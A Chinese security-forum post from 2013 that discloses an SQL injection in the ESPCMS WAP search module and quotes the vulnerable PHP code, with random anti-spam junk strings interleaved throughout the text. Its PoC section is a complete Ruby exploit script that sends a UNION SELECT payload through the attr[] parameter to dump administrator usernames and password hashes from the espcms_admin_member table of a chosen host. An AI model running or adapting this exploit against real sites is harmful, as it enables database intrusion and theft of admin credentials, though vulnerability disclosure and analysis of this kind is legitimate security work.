找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2234|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节  q/ d+ U6 O3 j! L0 X
0×2 PoC
! q$ c% ~3 [2 t$ G2 H* C. Q& M/ S3 V8 d8 O% y3 g' Q
9 V' M( `& t* L0 O$ ^* c
% {+ X. B, Y2 n6 D, m6 J2 o2 Y
0×0 漏洞概述
- u# G. n: x; h! t; {( m" M+ }. S3 g7 q
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
1 ?" W* T  c6 C/ V' N2 ]1 g7 E其在处理传入的参数时考虑不严谨导致SQL注入发生
: r2 ?8 Q5 W* g# ^# h( ~" n% f) o
6 ]; B% D. |7 g" Z1 \, n5 }
6 t, F* |4 W: g, F9 ~; e( a0×1 漏洞细节
- i- D, Z' M  }- b, G) ^: w+ {# J, V
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
- b  V3 y2 y) H/ u4 T/ a正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
+ L3 i' S; b9 b+ L: ~$ y而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
) f$ p1 p! I3 ]. N0 O4 Z/ P5 X0 G. M9 |, z6 [5 J  z
在/interface/3gwap_search.php文件的in_result函数中:# m! q' s& }9 k4 ?4 e# Q
2 R! e( ?( r$ u! y9 o  M
6 [+ X! Z8 `) D

" x# o2 U9 r2 O8 l* f1 k       function in_result() {
% V; {7 L# S8 N1 p' l* f. L            ... ... ... ... ... ... ... ... ...& s9 c3 ^) k& g1 H
            $urlcode = $_SERVER[ 'QUERY_STRING '];- o; O' n; |' n- Z
            parse_str(html_entity_decode($urlcode), $output);
$ n, w5 Q3 y) j  ]' g
& Q1 I3 S% h6 D3 o" V            ... ... ... ... ... ... ... ... ...% J/ K. t5 T/ L* Y% i  z! x9 U
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {, s2 _& N* N( e. k' e! u# a& K

1 W9 s+ j7 m* Z  T! e6 ?                  $db_table = db_prefix . 'model_att';( N4 m8 r, z( j) J5 Q
4 p% z& ]& c: H( W0 q# _
                   foreach ($output['attr' ] as $key => $value) {
% w1 W; o# I- s. h- ?) ^9 a. S" ^                         if ($value) {
& E$ |! P( i& t4 P( F* f  m  c& G; V2 d# p" D
                              $key = addslashes($key);
- h  g. s) L. y7 J# Y                              $key = $this-> fun->inputcodetrim($key);  w) P/ g0 Z2 F2 D- @: p
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";$ F3 H6 S2 y+ j7 j
                              $countnum = $this->db_numrows($db_table, $db_att_where);
6 K$ |$ k$ z/ t* G                               if ($countnum > 0) {9 j9 V0 @( \& k3 X, L" B" t2 D
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
/ V9 B7 T0 p1 U4 P                              }' Y: v; O/ v6 L8 [: ^0 j
                        }
; V2 A) V4 v+ _' S2 T                  }& L& q3 a; u, M3 A$ f5 y) [) g
            }% w) S. }6 U# K. O$ o: ^, S. D. I9 B
            if (!empty ($keyword) && empty($keyname)) {
: m, e* M3 [/ A. [                  $keyname = 'title';3 b) X; g& C( I. D3 d1 @/ [7 G
                  $db_where.= " AND a.title like '%$keyword%'" ;
" H+ \: D! w* u$ @% K3 e            } elseif (!empty ($keyword) && !empty($keyname)) {
8 @0 _; }  N. U/ z0 O$ v                  $db_where.= " AND $keyname like '% $keyword%'";- @/ h0 L' v1 H9 M1 e# g, y
            }
& d  Z& |* I1 E  Q            $pagemax = 15;' w# f  ~8 @7 R+ d; e
. a2 M, S1 z5 l! Z% A& r/ s
            $pagesylte = 1;
$ ]: C8 Y- P' w8 v- G7 o3 n) d+ \! i+ ^+ ]# S, `. @
             if ($countnum > 0) {
9 B. P7 O' C  D* R1 R2 t9 x' ]
9 A) j1 e' q+ W; v* q5 x                  $numpage = ceil($countnum / $pagemax);
1 i8 t" `3 E" e4 \, ^. C! [! O            } else {$ w* ^6 ^& H0 f' T' e5 S
                  $numpage = 1;
: x" Y, [+ Z5 K" n* s# c8 \            }
, w  f) Q; K) c" U& z1 Z3 H0 D            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
  E& \4 r1 ?! H3 \- t            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);7 ^& p# z& ?# e; v' N+ h
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
/ ~) R( b  U) N! j4 W. c) K            ... ... ... ... ... ... ... ... ...% C/ `' g5 E6 ?9 @6 Q% g8 e
      }: {! `" S; O. u3 O4 C/ H3 d7 E

  g% G) C& N) z$ n+ Q, L3 Y- W% |7 m/ u4 b3 }
0×2 PoC9 q5 G7 [3 I! x$ w6 g. C1 s( ?3 q& o

4 T, n! ]8 B9 x) D; D: m8 l$ S  R0 ^
* ]* Z; h7 w+ V. R0 b, s+ T9 I
require "net/http"
- s8 _! M+ d- L; p) [/ |! R; W+ X
def request(method, url)0 I1 e) a1 F; h) L+ @2 x5 a
    if method.eql?("get")
+ A, r. z" n* d8 a4 X! J: o        uri = URI.parse(url)
/ B/ H/ F+ b' X1 h" i% g+ x" V        http = Net::HTTP.new(uri.host, uri.port)
& [" [0 q' N3 [# O! x8 B        response = http.request(Net::HTTP::Get.new(uri.request_uri))2 P$ z3 z8 T% \+ r  y
        return response8 k' _. y4 W3 K6 K; p+ C- d
    end7 \" \1 R6 N% [; d% K, N" ]
end. i$ h  {- y+ g/ C/ a. \7 u! q

2 w1 u7 k" f& X- @0 a' idoc =<<HERE" w) @. _- ?$ E3 |! C/ z  t, L" r
-------------------------------------------------------& M0 L- k+ d1 g; @
Espcms Injection Exploit; P$ n. X8 U  h7 ~6 u4 A( x
Author:ztz
; k$ X, J7 C% J8 I' q( b: F* FBlog:http://ztz.fuzzexp.org/
8 B  x* O* z' \: ~4 s% `-------------------------------------------------------
) ^% Q+ z) g5 S4 |6 W9 D9 c+ i' D: ^% G
HERE
% E1 p/ {' [# Z5 R& g7 s2 {$ t  F3 A* q0 `
usage =<<HERE* S# l, p. x. ~; e
Usage:         ruby #{$0} host port path
2 n3 N& j, Q5 C" rexample:     ruby #{$0} www.target.com 80 /0 J" v- \6 t1 t! S2 t8 a
HERE
" r0 I4 @- O3 ~( |) L% p4 r
' @2 E  n5 [, V8 R" U1 eputs doc
8 L) ^5 ]0 ]9 hif ARGV.length < 3
; F$ j; Z$ N4 f- f$ j    puts usage4 _# w2 F! f1 Q, s6 |( z
else
. ^- L8 Y  C/ J4 h    $host = ARGV[0]- U- |7 i. s+ ]2 w8 j' G* G* C
    $port = ARGV[1]: W' I9 M% P+ {/ z
    $path = ARGV[2]
9 ^+ |" ~- `3 Z4 a; m
& F0 D5 G1 C% g6 f    puts "
  • send request..."  m( j% P; ]" a) M$ o8 O
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    - U/ |2 X. Z0 q( ~2 f  Iattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13, s# _! \  t6 M
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27, X/ e! p" C8 u) B$ F& b
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    2 {+ w8 _, M+ M' |$ [8 Y    response = request("get", url)
    / _0 Z" x( y( G( D    result = response.body.scan(/\w+&\w{32}/)6 _/ D. b: v+ g
        puts result
    # [1 F5 Y7 l1 {! `+ wend
    + z' {  x9 [( x6 [+ e% G3 a, Q9 Q9 Q7 C. f9 W
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表